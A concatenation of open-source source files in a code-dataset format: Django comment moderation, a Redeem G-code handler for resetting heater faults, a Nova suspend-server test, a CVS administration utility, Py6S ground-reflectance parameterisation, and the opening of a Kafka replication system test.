now = datetime.date(now.year, now.month, now.day)
then = datetime.date(then.year, then.month, then.day)
if now < then:
raise ValueError("Cannot determine moderation rules because date field is set to a value in the future")
return now - then
def allow(self, comment, content_object, request):
"""
Determine whether a given comment is allowed to be posted on
a given object.
Return ``True`` if the comment should be allowed, ``False
otherwise.
"""
if self.enable_field:
if not getattr(content_object, self.enable_field):
return False
if self.auto_close_field and self.close_after is not None:
close_after_date = getattr(content_object, self.auto_close_field)
if close_after_date is not None and self._get_delta(timezone.now(), close_after_date).days >= self.close_after:
return False
return True
def moderate(self, comment, content_object, request):
"""
Determine whether a given comment on a given object should be
allowed to show up immediately, or should be marked non-public
and await approval.
Return ``True`` if the comment should be moderated (marked
non-public), ``False`` otherwise.
"""
if self.auto_moderate_field and self.moderate_after is not None:
moderate_after_date = getattr(content_object, self.auto_moderate_field)
if moderate_after_date is not None and self._get_delta(timezone.now(), moderate_after_date).days >= self.moderate_after:
return True
return False
def email(self, comment, content_object, request):
"""
Send email notification of a new comment to site staff when email
notifications have been requested.
"""
if not self.email_notification:
return
recipient_list = [manager_tuple[1] for manager_tuple in settings.MANAGERS]
t = loader.get_template('comments/comment_notification_email.txt')
c = Context({ 'comment': comment,
'content_object': content_object })
subject = '[%s] New comment posted on "%s"' % (get_current_site(request).name,
content_object)
message = t.render(c)
send_mail(subject, message, settings.DEFAULT_FROM_EMAIL, recipient_list, fail_silently=True)
class Moderator(object):
"""
Handles moderation of a set of models.
An instance of this class will maintain a list of one or more
models registered for comment moderation, and their associated
moderation classes, and apply moderation to all incoming comments.
To register a model, obtain an instance of ``Moderator`` (this
module exports one as ``moderator``), and call its ``register``
method, passing the model class and a moderation class (which
should be a subclass of ``CommentModerator``). Note that both of
these should be the actual classes, not instances of the classes.
To cease moderation for a model, call the ``unregister`` method,
passing the model class.
For convenience, both ``register`` and ``unregister`` can also
accept a list of model classes in place of a single model; this
allows easier registration of multiple models with the same
``CommentModerator`` class.
The actual moderation is applied in two phases: one prior to
saving a new comment, and the other immediately after saving. The
pre-save moderation may mark a comment as non-public or mark it to
be removed; the post-save moderation may delete a comment which
was disallowed (there is currently no way to prevent the comment
being saved once before removal) and, if the comment is still
around, will send any notification emails the comment generated.
"""
def __init__(self):
self._registry = {}
self.connect()
def connect(self):
"""
Hook up the moderation methods to pre- and post-save signals
from the comment models.
"""
signals.comment_will_be_posted.connect(self.pre_save_moderation, sender=comments.get_model())
signals.comment_was_posted.connect(self.post_save_moderation, sender=comments.get_model())
def register(self, model_or_iterable, moderation_class):
"""
Register a model or a list of models for comment moderation,
using a particular moderation class.
Raise ``AlreadyModerated`` if any of the models are already
registered.
"""
if isinstance(model_or_iterable, ModelBase):
model_or_iterable = [model_or_iterable]
for model in model_or_iterable:
if model in self._registry:
raise AlreadyModerated("The model '%s' is already being moderated" % model._meta.model_name)
self._registry[model] = moderation_class(model)
def unregister(self, model_or_iterable):
"""
Remove a model or a list of models from the list of models
whose comments will be moderated.
Raise ``NotModerated`` if any of the models are not currently
registered for moderation.
"""
if isinstance(model_or_iterable, ModelBase):
model_or_iterable = [model_or_iterable]
for model in model_or_iterable:
if model not in self._registry:
raise NotModerated("The model '%s' is not currently being moderated" % model._meta.model_name)
del self._registry[model]
def pre_save_moderation(self, sender, comment, request, **kwargs):
"""
Apply any necessary pre-save moderation steps to new
comments.
"""
model = comment.content_type.model_class()
if model not in self._registry:
return
content_object = comment.content_object
moderation_class = self._registry[model]
# Comment will be disallowed outright (HTTP 403 response)
if not moderation_class.allow(comment, content_object, request):
return False
if moderation_class.moderate(comment, content_object, request):
comment.is_public = False
def post_save_moderation(self, sender, comment, request, **kwargs):
"""
Apply any necessary post-save moderation steps to new
comments.
"""
model = comment.content_type.model_class()
if model not in self._registry:
return
self._registry[model].email(comment, comment.content_object, request)
# Import this instance in your own code to use in registering
# your models for moderation.
moderator = Moderator()
|
apache-2.0
|
ericd/redeem
|
redeem/gcodes/M562.py
|
2
|
1398
|
"""
GCode M562
Example: M562 P0
Reset temperature fault
Author: Elias Bakken
License: CC BY-SA: http://creativecommons.org/licenses/by-sa/2.0/
"""
from GCodeCommand import GCodeCommand
import numpy as np
import logging
class M562(GCodeCommand):
def execute(self, g):
if g.has_letter("P"):
heater_nr = g.get_int_by_letter("P", 1)
if P == 0:
self.printer.heaters["HBP"].extruder_error = False
elif P == 1:
self.printer.heaters["E"].extruder_error = False
elif P == 2:
self.printer.heaters["H"].extruder_error = False
else: # No P, Enable all heaters
for _, heater in self.printer.heaters.iteritems():
heater.extruder_error = False
def get_description(self):
return "Reset temperature fault. "
def get_long_description(self):
return ("Reset a temperature fault on heater/sensor "
"If the priner has switched off and locked a heater "
"because it has detected a fault, this will reset the "
"fault condition and allow you to use the heater again. "
"Obviously to be used with caution. If the fault persists "
"it will lock out again after you have issued this command. "
"P0 is the bed; P1 the first extruder, and so on. ")
|
gpl-3.0
|
silenceli/nova
|
nova/tests/unit/api/openstack/compute/contrib/test_suspend_server.py
|
9
|
2838
|
# Copyright 2013 IBM Corp.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from nova.api.openstack.compute.contrib import admin_actions as \
suspend_server_v2
from nova.api.openstack.compute.plugins.v3 import suspend_server as \
suspend_server_v21
from nova.tests.unit.api.openstack.compute import admin_only_action_common
from nova.tests.unit.api.openstack import fakes
class SuspendServerTestsV21(admin_only_action_common.CommonTests):
suspend_server = suspend_server_v21
controller_name = 'SuspendServerController'
def setUp(self):
super(SuspendServerTestsV21, self).setUp()
self.controller = getattr(self.suspend_server, self.controller_name)()
self.compute_api = self.controller.compute_api
def _fake_controller(*args, **kwargs):
return self.controller
self.stubs.Set(self.suspend_server, self.controller_name,
_fake_controller)
self.app = self._get_app()
self.mox.StubOutWithMock(self.compute_api, 'get')
def _get_app(self):
return fakes.wsgi_app_v21(init_only=('servers',
'os-suspend-server'),
fake_auth_context=self.context)
def test_suspend_resume(self):
self._test_actions(['suspend', 'resume'])
def test_suspend_resume_with_non_existed_instance(self):
self._test_actions_with_non_existed_instance(['suspend', 'resume'])
def test_suspend_resume_raise_conflict_on_invalid_state(self):
self._test_actions_raise_conflict_on_invalid_state(['suspend',
'resume'])
def test_actions_with_locked_instance(self):
self._test_actions_with_locked_instance(['suspend', 'resume'])
class SuspendServerTestsV2(SuspendServerTestsV21):
suspend_server = suspend_server_v2
controller_name = 'AdminActionsController'
def setUp(self):
super(SuspendServerTestsV2, self).setUp()
self.flags(
osapi_compute_extension=[
'nova.api.openstack.compute.contrib.select_extensions'],
osapi_compute_ext_list=['Admin_actions'])
def _get_app(self):
return fakes.wsgi_app(init_only=('servers',),
fake_auth_context=self.context)
|
apache-2.0
|
yqm/sl4a
|
python/src/Demo/pdist/cvslib.py
|
47
|
10175
|
"""Utilities for CVS administration."""
import string
import os
import time
import md5
import fnmatch
if not hasattr(time, 'timezone'):
time.timezone = 0
class File:
"""Represent a file's status.
Instance variables:
file -- the filename (no slashes), None if uninitialized
lseen -- true if the data for the local file is up to date
eseen -- true if the data from the CVS/Entries entry is up to date
(this implies that the entry must be written back)
rseen -- true if the data for the remote file is up to date
proxy -- RCSProxy instance used to contact the server, or None
Note that lseen and rseen don't necessary mean that a local
or remote file *exists* -- they indicate that we've checked it.
However, eseen means that this instance corresponds to an
entry in the CVS/Entries file.
If lseen is true:
lsum -- checksum of the local file, None if no local file
lctime -- ctime of the local file, None if no local file
lmtime -- mtime of the local file, None if no local file
If eseen is true:
erev -- revision, None if this is a no revision (not '0')
enew -- true if this is an uncommitted added file
edeleted -- true if this is an uncommitted removed file
ectime -- ctime of last local file corresponding to erev
emtime -- mtime of last local file corresponding to erev
extra -- 5th string from CVS/Entries file
If rseen is true:
rrev -- revision of head, None if non-existent
rsum -- checksum of that revision, Non if non-existent
If eseen and rseen are both true:
esum -- checksum of revision erev, None if no revision
Note
"""
def __init__(self, file = None):
if file and '/' in file:
raise ValueError, "no slash allowed in file"
self.file = file
self.lseen = self.eseen = self.rseen = 0
self.proxy = None
def __cmp__(self, other):
return cmp(self.file, other.file)
def getlocal(self):
try:
self.lmtime, self.lctime = os.stat(self.file)[-2:]
except os.error:
self.lmtime = self.lctime = self.lsum = None
else:
self.lsum = md5.new(open(self.file).read()).digest()
self.lseen = 1
def getentry(self, line):
words = string.splitfields(line, '/')
if self.file and words[1] != self.file:
raise ValueError, "file name mismatch"
self.file = words[1]
self.erev = words[2]
self.edeleted = 0
self.enew = 0
self.ectime = self.emtime = None
if self.erev[:1] == '-':
self.edeleted = 1
self.erev = self.erev[1:]
if self.erev == '0':
self.erev = None
self.enew = 1
else:
dates = words[3]
self.ectime = unctime(dates[:24])
self.emtime = unctime(dates[25:])
self.extra = words[4]
if self.rseen:
self.getesum()
self.eseen = 1
def getremote(self, proxy = None):
if proxy:
self.proxy = proxy
try:
self.rrev = self.proxy.head(self.file)
except (os.error, IOError):
self.rrev = None
if self.rrev:
self.rsum = self.proxy.sum(self.file)
else:
self.rsum = None
if self.eseen:
self.getesum()
self.rseen = 1
def getesum(self):
if self.erev == self.rrev:
self.esum = self.rsum
elif self.erev:
name = (self.file, self.erev)
self.esum = self.proxy.sum(name)
else:
self.esum = None
def putentry(self):
"""Return a line suitable for inclusion in CVS/Entries.
The returned line is terminated by a newline.
If no entry should be written for this file,
return "".
"""
if not self.eseen:
return ""
rev = self.erev or '0'
if self.edeleted:
rev = '-' + rev
if self.enew:
dates = 'Initial ' + self.file
else:
dates = gmctime(self.ectime) + ' ' + \
gmctime(self.emtime)
return "/%s/%s/%s/%s/\n" % (
self.file,
rev,
dates,
self.extra)
def report(self):
print '-'*50
def r(key, repr=repr, self=self):
try:
value = repr(getattr(self, key))
except AttributeError:
value = "?"
print "%-15s:" % key, value
r("file")
if self.lseen:
r("lsum", hexify)
r("lctime", gmctime)
r("lmtime", gmctime)
if self.eseen:
r("erev")
r("enew")
r("edeleted")
r("ectime", gmctime)
r("emtime", gmctime)
if self.rseen:
r("rrev")
r("rsum", hexify)
if self.eseen:
r("esum", hexify)
class CVS:
"""Represent the contents of a CVS admin file (and more).
Class variables:
FileClass -- the class to be instantiated for entries
(this should be derived from class File above)
IgnoreList -- shell patterns for local files to be ignored
Instance variables:
entries -- a dictionary containing File instances keyed by
their file name
proxy -- an RCSProxy instance, or None
"""
FileClass = File
IgnoreList = ['.*', '@*', ',*', '*~', '*.o', '*.a', '*.so', '*.pyc']
def __init__(self):
self.entries = {}
self.proxy = None
def setproxy(self, proxy):
if proxy is self.proxy:
return
self.proxy = proxy
for e in self.entries.values():
e.rseen = 0
def getentries(self):
"""Read the contents of CVS/Entries"""
self.entries = {}
f = self.cvsopen("Entries")
while 1:
line = f.readline()
if not line: break
e = self.FileClass()
e.getentry(line)
self.entries[e.file] = e
f.close()
def putentries(self):
"""Write CVS/Entries back"""
f = self.cvsopen("Entries", 'w')
for e in self.values():
f.write(e.putentry())
f.close()
def getlocalfiles(self):
list = self.entries.keys()
addlist = os.listdir(os.curdir)
for name in addlist:
if name in list:
continue
if not self.ignored(name):
list.append(name)
list.sort()
for file in list:
try:
e = self.entries[file]
except KeyError:
e = self.entries[file] = self.FileClass(file)
e.getlocal()
def getremotefiles(self, proxy = None):
if proxy:
self.proxy = proxy
if not self.proxy:
raise RuntimeError, "no RCS proxy"
addlist = self.proxy.listfiles()
for file in addlist:
try:
e = self.entries[file]
except KeyError:
e = self.entries[file] = self.FileClass(file)
e.getremote(self.proxy)
def report(self):
for e in self.values():
e.report()
print '-'*50
def keys(self):
keys = self.entries.keys()
keys.sort()
return keys
def values(self):
def value(key, self=self):
return self.entries[key]
return map(value, self.keys())
def items(self):
def item(key, self=self):
return (key, self.entries[key])
return map(item, self.keys())
def cvsexists(self, file):
file = os.path.join("CVS", file)
return os.path.exists(file)
def cvsopen(self, file, mode = 'r'):
file = os.path.join("CVS", file)
if 'r' not in mode:
self.backup(file)
return open(file, mode)
def backup(self, file):
if os.path.isfile(file):
bfile = file + '~'
try: os.unlink(bfile)
except os.error: pass
os.rename(file, bfile)
def ignored(self, file):
if os.path.isdir(file): return True
for pat in self.IgnoreList:
if fnmatch.fnmatch(file, pat): return True
return False
# hexify and unhexify are useful to print MD5 checksums in hex format
hexify_format = '%02x' * 16
def hexify(sum):
"Return a hex representation of a 16-byte string (e.g. an MD5 digest)"
if sum is None:
return "None"
return hexify_format % tuple(map(ord, sum))
def unhexify(hexsum):
"Return the original from a hexified string"
if hexsum == "None":
return None
sum = ''
for i in range(0, len(hexsum), 2):
sum = sum + chr(string.atoi(hexsum[i:i+2], 16))
return sum
unctime_monthmap = {}
def unctime(date):
if date == "None": return None
if not unctime_monthmap:
months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun',
'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']
i = 0
for m in months:
i = i+1
unctime_monthmap[m] = i
words = string.split(date) # Day Mon DD HH:MM:SS YEAR
year = string.atoi(words[4])
month = unctime_monthmap[words[1]]
day = string.atoi(words[2])
[hh, mm, ss] = map(string.atoi, string.splitfields(words[3], ':'))
ss = ss - time.timezone
return time.mktime((year, month, day, hh, mm, ss, 0, 0, 0))
def gmctime(t):
if t is None: return "None"
return time.asctime(time.gmtime(t))
def test_unctime():
now = int(time.time())
t = time.gmtime(now)
at = time.asctime(t)
print 'GMT', now, at
print 'timezone', time.timezone
print 'local', time.ctime(now)
u = unctime(at)
print 'unctime()', u
gu = time.gmtime(u)
print '->', gu
print time.asctime(gu)
def test():
x = CVS()
x.getentries()
x.getlocalfiles()
## x.report()
import rcsclient
proxy = rcsclient.openrcsclient()
x.getremotefiles(proxy)
x.report()
if __name__ == "__main__":
test()
|
apache-2.0
|
dmwelch/Py6S
|
Py6S/Params/ground_reflectance.py
|
2
|
17014
|
# This file is part of Py6S.
#
# Copyright 2012 Robin Wilson and contributors listed in the CONTRIBUTORS file.
#
# Py6S is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Py6S is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with Py6S. If not, see <http://www.gnu.org/licenses/>.
#from sixs_exceptions import *
import sys
import collections
import numpy as np
try:
import StringIO
except ImportError:
# If Python 3 import io as StringIO (so we can still use StringIO.StringIO)
if sys.version_info[0] >= 3:
import io as StringIO
else:
raise
class GroundReflectance:
"""Produces strings for the input file for a number of different ground reflectance scenarios.
Options are:
- Homogeneous
- Lambertian
- BRDF
- Walthall et al. model
- Rahman et al. model
- etc
- Heterogeneous
- Lambertian
These are combined to give function names like:
:meth:`.HomogeneousLambertian` or :meth:`.HomogeneousWalthall`
The standard functions (:meth:`.HomogeneousLambertian` and :meth:`.HeterogeneousLambertian`) will decide what to do based on the types of inputs they are given::
model.ground_reflectance = GroundReflectance.HomogeneousLambertian(0.7) # A spectrally-constant reflectance of 0.7
model.ground_reflectance = GroundReflectance.HomogeneousLambertian(GroundReflectance.GreenVegetation) # A built-in green vegetation spectrum
model.ground_reflectance = GroundReflectance.HomogeneousLambertian([0.6, 0.8, 0.34, 0.453]) # A user-defined spectrum given in micrometers with steps of 2.5nm
# A 2D ndarray, such as that returned by any of the Spectra.import_* functions
model.ground_reflectance = GroundReflectance.HomogeneousLambertian(Spectra.import_from_usgs("http://speclab.cr.usgs.gov/spectral.lib06/ds231/ASCII/V/russianolive.dw92-4.30728.asc"))
"""
GreenVegetation = -1
ClearWater = -2
Sand = -3
LakeWater = -4
@classmethod
def HomogeneousLambertian(cls, ro):
"""Provides parameterisation for homogeneous Lambertian (ie. uniform BRDF) surfaces.
The single argument can be either:
- A single float value (for example, 0.634), in which case it is interpreted as a spectrally-constant reflectance value.
- A constant defined by this class (one of ``GroundReflectance.GreenVegetation``, ``GroundReflectance.ClearWater``, ``GroundReflectance.Sand`` or ``GroundReflectance.LakeWater``) in which case a built-in spectrum of the specified material is used.
- An array of values (for example, [0.67, 0.85, 0.34, 0.65]) in which case the values are taken to be reflectances across the whole wavelength range at a spacing of 2.5nm. In this case, if the start wavelength is s and the end wavelength is e, the values must be given for the wavelengths: ``s, s+2.5, s+5.0, s+7.5, ..., e-2.5, e``
- A multidimensional ndarray giving wavelength (column 0) and reflectance (column 1) values
"""
ro_type, ro_value = cls._GetTargetTypeAndValues(ro)
if ro_value == "":
res = """0 Homogeneous surface
0 No directional effects
%s\n""" % (ro_type)
elif ro_type == "-1":
res = """0 Homogeneous surface
0 No directional effects
%s
WV_REPLACE
%s\n""" % (ro_type, ro_value)
else:
res = """0 Homogeneous surface
0 No directional effects
%s
%s\n""" % (ro_type, ro_value)
return [res, ro]
@classmethod
def HeterogeneousLambertian(cls, radius, ro_target, ro_env):
"""Provides parameterisation for heterogeneous Lambertian (ie. uniform BRDF) surfaces.
These surfaces are modelled in 6S as a circular target surrounded by an environment of a different reflectance.
Arguments:
* ``radius`` -- The radius of the target (in km)
* ``ro_target`` -- The reflectance of the target
* ``ro_env`` -- The reflectance of the environment
Both of the reflectances can be set to any of the following:
- A single float value (for example, 0.634), in which case it is interpreted as a spectrally-constant reflectance value.
- A constant defined by this class (one of ``GroundReflectance.GreenVegetation``, ``GroundReflectance.ClearWater``, ``GroundReflectance.Sand`` or ``GroundReflectance.LakeWater``) in which case a built-in spectrum of the specified material is used.
- An array of values (for example, [0.67, 0.85, 0.34, 0.65]) in which case the values are taken to be reflectances across the whole wavelength range at a spacing of 2.5nm. In this case, if the start wavelength is s and the end wavelength is e, the values must be given for the wavelengths: ``s, s+2.5, s+5.0, s+7.5, ..., e-2.5, e``
- A multidimensional ndarray giving wavelength (column 0) and reflectance (column 1) values
"""
ro_target_type, ro_target_values = cls._GetTargetTypeAndValues(ro_target)
ro_env_type, ro_env_values = cls._GetTargetTypeAndValues(ro_env, "REFL_REPLACE_2")
if ro_target_values == "" and ro_env_values == "":
s = """1 (Non homogeneous surface)
%s %s %f (ro1 ro2 radius)\n""" % (ro_target_type, ro_env_type, radius)
else:
s = """1 (Non homogeneous surface)
%s %s %f (ro1 ro2 radius)
%s
%s\n""" % (ro_target_type, ro_env_type, radius, ro_target_values, ro_env_values)
return [s, ro_target, ro_env]
@classmethod
def HomogeneousWalthall(cls, param1, param2, param3, albedo):
"""Parameterisation for a surface BRDF based on the Walthall et al. model.
The parameters are:
- term in square ts*tv
- term in square ts*ts+tv*tv
- term in ts*tv*cos(phi) (limacon de pascal)
- albedo
"""
return """0 Homogeneous surface
1 (directional effects)
4 (Walthall et al. model)
%f %f %f %f\n""" % (param1, param2, param3, albedo)
@classmethod
def HomogeneousHapke(cls, albedo, assymetry, amplitude, width):
"""Parameterisation for a surface BRDF based on the Hapke model.
The parameters are:
- albedo
- assymetry parameter for the phase function
- amplitude of hot spot
- width of the hot spot
"""
return """0 Homogeneous surface
1 (directional effects)
1 (Hapke model)
%f %f %f %f\n""" % (albedo, assymetry, amplitude, width)
@classmethod
def HomogeneousRoujean(cls, albedo, k1, k2):
"""Parameterisation for a surface BRDF based on the Roujean et al. model.
The parameters are:
- albedo
- geometric parameter for hot spot effect
- geometric parameter for hot spot effect
"""
return """0 Homogeneous surface
1 (directional effects)
3 (Roujean model)
%f %f %f\n""" % (albedo, k1, k2)
@classmethod
def HomogeneousMinnaert(cls, k, alb):
"""Parameterisation for a surface BRDF based on the Minnaert BRDF model.
The parameters are:
- K surface parameter
- Surface albedo
"""
return """0 Homogeneous surface
1 (directional effects)
5 (Minnaert model)
%f %f\n""" % (k, alb)
@classmethod
def HomogeneousMODISBRDF(cls, par1, par2, par3):
"""Parameterisation for a surface BRDF based on the MODIS Operational BRDF model.
The parameters are:
- Weight for lambertian kernel
- Weight for Ross Thick kernel
- Weight for Li Spare kernel
"""
return """0 Homogeneous surface
1 (directional effects)
10 (MODIS BRDF model)
%f %f %f\n""" % (par1, par2, par3)
@classmethod
def HomogeneousOcean(cls, wind_speed, wind_azimuth, salinity, pigment_concentration):
"""Parameterisation for a surface BRDF based on the Ocean BRDF model.
The parameters are:
- wind speed (in m/s)
- azimuth of the wind (in degrees)
- salinity (in ppt) (set to 34.3ppt if < 0)
- pigment concentration (in mg/m3)
"""
return """0 Homogeneous surface
1 (directional effects)
6 (Ocean BRDF)
%f %f %f %f\n""" % (wind_speed, wind_azimuth, salinity, pigment_concentration)
@classmethod
def HomogeneousRahman(cls, intensity, asymmetry_factor, structural_parameter):
"""Parameterisation for a surface BRDF based on the Rahman BRDF model.
The parameters are:
- Intensity of the reflectance of the surface (N/D value >= 0)
- Asymmetry factor, N/D value between -1.0 and 1.0
- Structural parameter of the medium
"""
return """0 Homogeneous surface
1 (directional effects)
8 (Rahman model)
%f %f %f\n""" % (intensity, asymmetry_factor, structural_parameter)
@classmethod
def HomogeneousIaquintaPinty(cls, leaf_dist, hot_spot, lai, hot_spot_param, leaf_reflec, leaf_trans, soil_albedo):
"""Parameterisation for a surface BRDF based on the Iaquinta and Pinty model.
The parameters are:
- Leaf distribution (one of the ``GroundReflectance.LeafDistXXX`` constants)
- Hot spot setting (``GroundReflectance.HotSpot`` or ``GroundReflectance.NoHotSpot``)
- Leaf Area Index (1-15)
- Hot spot parameter 2*r*lambda (0-2)
- Leaf reflectance (0-0.99)
- Leaf transmittance (0-0.99)
- Soil albedo (0-0.99)
Leaf reflectance + Leaf transmittance must be less than 0.99. If this is not the case, a :class:`.ParameterException` is raised.
"""
if leaf_reflec + leaf_trans > 0.99:
raise ParameterException("leaf_reflec", "Leaf reflectance + Leaf transmittance must be < 0.99")
return """0 Homogeneous surface
1 (directional effects)
7 (Iaquinta and Pinty model)
%d %d
%d %d
%d %d %d\n""" % (leaf_dist, hot_spot, lai, hot_spot_param, leaf_reflec, leaf_trans, soil_albedo)
LeafDistPlanophile = 1
LeafDistErectophile = 2
LeafDistPlagiophile = 3
LeafDistExtremophile = 4
LeafDistUniform = 5
NoHotSpot = 1
HotSpot = 2
@classmethod
def HomogeneousVerstaeteEtAl(cls, kappa_param, phase_funct, scattering_type, leaf_area_density, sun_flecks_radius, ssa, legendre_first, legendre_second, k1, k2, asym_factor, chil):
"""Parameterisation for a surface BRDF based on the Verstraete, Pinty and Dickinson model.
The parameters are:
- The type of Kappa parameterisation (one of the ``GroundReflectance.KappaXXX`` constants)
- The phase function to use (one of the ``GroundReflectance.PhaseXXX`` constants)
- The scattering type to use (either ``GroundReflectance.SingleScatteringOnly`` or ``GroundReflectance.DickinsonMultipleScattering``)
- Leaf area density (m^2/m^-3)
- Radius of the sun flecks on the scatterer (m)
- Single Scattering Albedo (0-1)
- First coefficient of Legendre polynomial (Only used if phase function is not ``GroundReflectance.PhaseIsotropic``, set to ``None`` otherwise)
- Second coefficient of Legendre polynomial (Only used if phase function is not ``GroundReflectance.PhaseIsotropic``, set to ``None`` otherwise)
- Kappa value k1 (Only used if Kappa parameterisation was ``GroundReflectance.KappaGivenValues``, set to ``None`` otherwise)
- Kappa value k2 (Only used if Kappa parameterisation was ``GroundReflectance.KappaGivenValues``, set to ``None`` otherwise)
- Asymmetry factor for Heyney-Greenstein parameterisation (Only used if Phase function is set to ``GroundReflectance.PhaseHeyneyGreenstein``, set to ``None`` otherwise)
- Goudriaan's chil parameter (Only used if Kappa parameterisation was NOT ``GroundReflectance.KappaGivenValues``, set to ``None`` otherwise)
"""
header = """0 Homogeneous surface
1 (directional effects)
2 (Verstraete Pinty Dickinson model\n"""
params_line = "%d %d %d\n" % (kappa_param, phase_funct, scattering_type)
if kappa_param == KappaGivenValues:
middle_line = "%f %f %f %f\n" % (leaf_area_density, sun_flecks_radius, k1, k2)
else:
middle_line = "%f %f %f\n" % (leaf_area_density, sun_flecks_radius, chil)
if phase_funct == PhaseIsotropic:
last_line = ""
elif phase_funct == PhaseHeyneyGreenstein:
last_line = "%f" % (asym_factor)
else:
last_line == "%f %f\n" % (legendre_first, legendre_second)
return header + params_line + middle_line + last_line
KappaGivenValues = 0
KappaGoudriaan = 1
KappaDickinson = 2
PhaseIsotropic = 0
PhaseHeyneyGreenstein = 1
PhaseLegendre = 2
SingleScatteringOnly = 0
DickinsonMultipleScattering = 1
@classmethod
def HomogeneousKuuskMultispectralCR(cls, lai, lad_eps, lad_thm, relative_leaf_size, chlorophyll_content, leaf_water_equiv_thickness, effective_num_layers, ratio_refractive_indices, weight_first_price_function):
"""Parameterisation for a surface BRDF based on Kuusk's multispectral CR model.
The Parameters are:
- Leaf Area Index (0.1-10)
- LAD eps (0.0-0.9)
- LAD thm (0.0-90.0)
- Relative leaf size (0.01-1.0)
- Chlorophyll content (ug/cm^2, 0-30)
- Leaf water equivalent thickness (0.01-0.03)
- Effective number of elementary layers inside a leaf (1-225)
- Ratio of refractive indices of the leaf surface wax and internal material (0-1.0)
- Weight of the 1st Price function for the soil reflectance (0.1-0.8)
"""
header = """0 Homogeneous surface
1 (directional effects)
9 (Kuusk's multispectral CR model)\n"""
middle = "%f %f %f %f\n" % (lai, lad_eps, lad_thm, relative_leaf_size)
bottom = "%f %f %f %f %f\n" % (chlorophyll_content, leaf_water_equiv_thickness, effective_num_layers, ratio_refractive_indices, weight_first_price_function)
return header + middle + bottom
@classmethod
def HomogeneousUserDefined(cls, observed_reflectance, albedo, ro_sun_at_thetas, ro_sun_at_thetav):
"""Parameterisation for a user-defined surface BRDF.
The parameters are:
- `observed_reflectance` -- Observed reflectance in the geometry specified in the Geometry parameterisation
- `albedo` -- Surface spherical albedo
- `ro_sun_at_thetas` -- A reflectance table (described below) for the scenario when the sun is at theta_s
(the solar zenith angle specified in the Geometry parameterisation)
- `ro_sun_at_thetav` -- A reflectance table (described below) for the scenario when the sun is at theta_v
(the view zenith angle specified in the Geometry parameterisation)
The reflectance tables mentioned above must be NumPy arrays (that is, instances of :class:`ndarray`) with a shape of (10, 13) where the table headers are as below,
and each cell contains the reflectance of the surface in the specified geometry::
zenith
0 10 20 30 40 50 60 70 80 85
a 0
z 30
i 60
m 90
u 120
t 150
h .
.
.
"""
header = "0 Homogeneous surface\n1 (directional effects)\n0 Input user's defined model\n"
top_table = cls._ArrayToString(ro_sun_at_thetas)
bottom_table = cls._ArrayToString(ro_sun_at_thetav)
bottom = "%f\n %f\n" % (albedo, observed_reflectance)
return header + top_table + "\n"+ bottom_table + bottom
@classmethod
def _ArrayToString(cls, array):
text = StringIO.StringIO()
np.savetxt(text, array, fmt="%.5f", delimiter=' ')
s = text.getvalue()
text.close()
return s
@classmethod
def _GetTargetTypeAndValues(cls, target, name=None):
if name is None:
str_name = "REFL_REPLACE"
else:
str_name = name
if isinstance(target, np.ndarray):
target_type = "-1"
target_value = str_name
elif isinstance(target, collections.Iterable):
# If it has
target_type = "-1"
target_value = " ".join(map(str, target))
else:
# If it's less than zero then it must be one of the predefined types
if target < 0:
target_type = str(-1 * target)
target_value = ""
# Otherwise it must be a constant ro
else:
target_type = "0"
target_value = target
return (target_type, target_value)
|
gpl-3.0
|
dchenbecker/kafka-sbt
|
system_test/replication_testsuite/replica_basic_test.py
|
3
|
25648
|
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
#!/usr/bin/env python
# ===================================
# replica_basic_test.py
# ===================================
import inspect
import logging
import os
import pprint
import signal
import subprocess
import sys
import time
import traceback
from system_test_env import SystemTestEnv
sys.path.append(SystemTestEnv.SYSTEM_TEST_UTIL_DIR)
from setup_utils import SetupUtils
from replication_utils import ReplicationUtils
import system_test_utils
from testcase_env import TestcaseEnv
# product specific: Kafka
import kafka_system_test_utils
import metrics
class ReplicaBasicTest(ReplicationUtils, SetupUtils):
testModuleAbsPathName = os.path.realpath(__file__)
testSuiteAbsPathName = os.path.abspath(os.path.dirname(testModuleAbsPathName))
def __init__(self, systemTestEnv):
# SystemTestEnv - provides cluster level environment settings
# such as entity_id, hostname, kafka_home, java_home which
# are available in a list of dictionary named
# "clusterEntityConfigDictList"
self.systemTestEnv = systemTestEnv
super(ReplicaBasicTest, self).__init__(self)
# dict to pass user-defined attributes to logger argument: "extra"
d = {'name_of_class': self.__class__.__name__}
def signal_handler(self, signal, frame):
self.log_message("Interrupt detected - User pressed Ctrl+c")
# perform the necessary cleanup here when user presses Ctrl+c and it may be product specific
self.log_message("stopping all entities - please wait ...")
kafka_system_test_utils.stop_all_remote_running_processes(self.systemTestEnv, self.testcaseEnv)
sys.exit(1)
def runTest(self):
# ======================================================================
# get all testcase directories under this testsuite
# ======================================================================
testCasePathNameList = system_test_utils.get_dir_paths_with_prefix(
self.testSuiteAbsPathName, SystemTestEnv.SYSTEM_TEST_CASE_PREFIX)
testCasePathNameList.sort()
# =============================================================
# launch each testcase one by one: testcase_1, testcase_2, ...
# =============================================================
for testCasePathName in testCasePathNameList:
skipThisTestCase = False
try:
# ======================================================================
# A new instance of TestcaseEnv to keep track of this testcase's env vars
